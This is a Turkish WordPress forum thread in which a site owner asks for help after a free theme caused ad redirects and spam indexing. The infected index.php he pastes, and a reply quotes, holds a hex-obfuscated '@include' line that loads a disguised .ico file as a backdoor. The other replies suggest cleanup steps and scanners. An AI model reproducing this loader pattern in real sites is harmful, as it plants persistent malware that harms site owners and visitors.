• 21-03-2018, 00:21:40
    #1
    Herkese merhaba wordpress sitemde bazı sıkıntılar yaşıyorum hemen konuya gireyim :
    Son zamanlarda yeni bir tema kullanmaya başladım , ne olduysa bu temayı kurduktan sonra başıma geldi.Tema bedava bir tema ve bazı saçma reklam yönlendirmeleri ve çince indeksler almaya başladı sitem.
    İndex.php veya wp-config'imde sürekli include ile başlayan değişik kodlar yazılıyor.Silip düzeltsem ertesi gün yine aynısı başıma geliyor.
    Örnek bir index.php dosyamı atıyorum
    <?php
    /*d9fa2*/
    @include "\x2fhome\x23ini\x63lipv\x61/pub\x62ic_h\x74ml/h\x65alit\x79/wp-\x61dmin\x2ffavi\x63on_1\x305732\x2eico";
    /*d9fa2*/
    /**
     * Front to the WordPress application. This file doesn't do anything, but loads
     * wp-blog-header.php which does and tells WordPress to load the theme.
     *
     * @package WordPress
     */
    /**
     * Tells WordPress to load the WordPress theme and output it.
     *
     * @var bool
     */
    define('WP_USE_THEMES', true);
    /** Loads the WordPress Environment and Template */
    require( dirname( __FILE__ ) . '/wp-blog-header.php' );
    Bunun ne olduğunu bilip yardımcı olacak arkadaşlara şimdiden teşekkür ederim.
  • 21-03-2018, 00:25:39
    #2
    Üyeliği durduruldu
    Chippox adlı üyeden alıntı: mesajı görüntüle
    Herkese merhaba wordpress sitemde bazı sıkıntılar yaşıyorum hemen konuya gireyim :
    Son zamanlarda yeni bir tema kullanmaya başladım , ne olduysa bu temayı kurduktan sonra başıma geldi.Tema bedava bir tema ve bazı saçma reklam yönlendirmeleri ve çince indeksler almaya başladı sitem.
    İndex.php veya wp-config'imde sürekli include ile başlayan değişik kodlar yazılıyor.Silip düzeltsem ertesi gün yine aynısı başıma geliyor.
    Örnek bir index.php dosyamı atıyorum
    <?php
    /*d9fa2*/
    @include "\x2fhome\x23ini\x63lipv\x61/pub\x62ic_h\x74ml/h\x65alit\x79/wp-\x61dmin\x2ffavi\x63on_1\x305732\x2eico";
    /*d9fa2*/
    /**
     * Front to the WordPress application. This file doesn't do anything, but loads
     * wp-blog-header.php which does and tells WordPress to load the theme.
     *
     * @package WordPress
     */
    /**
     * Tells WordPress to load the WordPress theme and output it.
     *
     * @var bool
     */
    define('WP_USE_THEMES', true);
    /** Loads the WordPress Environment and Template */
    require( dirname( __FILE__ ) . '/wp-blog-header.php' );
    Bunun ne olduğunu bilip yardımcı olacak arkadaşlara şimdiden teşekkür ederim.
    uploads klasörüne profile ico diye saçma sapan ioncubeli bir kod atar bu virüs iki gün önce birinin onbeş sitesini temizledim..
  • 21-03-2018, 00:28:59
    #3
    Merhaba,
    Tema üzerinde md5 şifreli sayfa ya da sayfalar var mı?
    Veya anlamadığınız, ilginizi çeken "<?php" kodla beslenen yerler var mı?
    Muhtemelen temayı dağıtmalarının sebebi, bedava track kasmak imiş.
    Yani temayı al, hit ve indexi ver mantığıyla yola çıkılarak dağıtılmış.
    Temayı kuran siteleri tek tek takip edemeyeceklerine göre, sayfalarınızı tek tek inceleyin mutlaka bir yerinde bir kod ya da komut çalışıyor demektir.
  • 21-03-2018, 00:36:37
    #4
    Lordbey adlı üyeden alıntı: mesajı görüntüle
    uploads klasörüne profile ico diye saçma sapan ioncubeli bir kod atar bu virüs iki gün önce birinin onbeş sitesini temizledim..
    Yardımın için teşekkürler uploads dan öyle bir dosya bulamadım fakat aramaya devam ediyorum.
  • 21-03-2018, 00:40:07
    #5
    Ne ugrasiyon hocam sil komple temiz kurulumunu yap bak keyfine
  • 21-03-2018, 00:48:24
    #6
    Üyeliği durduruldu
    Djstation adlı üyeden alıntı: mesajı görüntüle
    Ne ugrasiyon hocam sil komple temiz kurulumunu yap bak keyfine
    bekara karı boşamak kolay sil keyfine bak öyle silmek ile olmuyor bey efendi sizin gibi çok bilmiş arkadaşlar güzelleştiriyor piyasayı.. başına gelince anlarsın.. emek var.. herkesin sitesinde.. sil gitsin ha oldu sil.. neyse akşam akşam sinirlenmicem
  • 21-03-2018, 01:01:40
    #7
    Lordbey adlı üyeden alıntı: mesajı görüntüle
    bekara karı boşamak kolay sil keyfine bak öyle silmek ile olmuyor bey efendi sizin gibi çok bilmiş arkadaşlar güzelleştiriyor piyasayı.. başına gelince anlarsın.. emek var.. herkesin sitesinde.. sil gitsin ha oldu sil.. neyse akşam akşam sinirlenmicem
    Sen ne anladin bilmiyorum hocam ama.anlatmak istedigimi anlamamissin sil dedim siteni komple sil demedim bu isi sana ucretle yapacak kiside bunu yapacaktir wordpress silip temiz kurulum yap sql yedegini al yukle guzel bir tema kur keyine bak buradan aldigim ayni sorunlu siteyi bu sekilde duzelttim piyasayla isim yok kimseye ucretle is yapmadim simdiye kadar sinirini bozmus olay anlasilan kolay gelsin

    Duzeltme sinirlenen arkadas.konu sahibi degilmis konu sahibi sanmisdim neden sinirlendigi anlasildi
  • 21-03-2018, 01:18:29
    #8
    ftpde dosyaların değiştirme tarihlerine bak tum dosyaları kontrol et elbet biri düzenlemediğiniz zamanda düzenlenmiştir yada eklenmiştir.
  • 21-03-2018, 08:06:26
    #9
    rkhunter, clamav, dosyaya erişen pidleri kontrol et devamlı, onun PHP argümanlarını çek, ordan dosyayı bul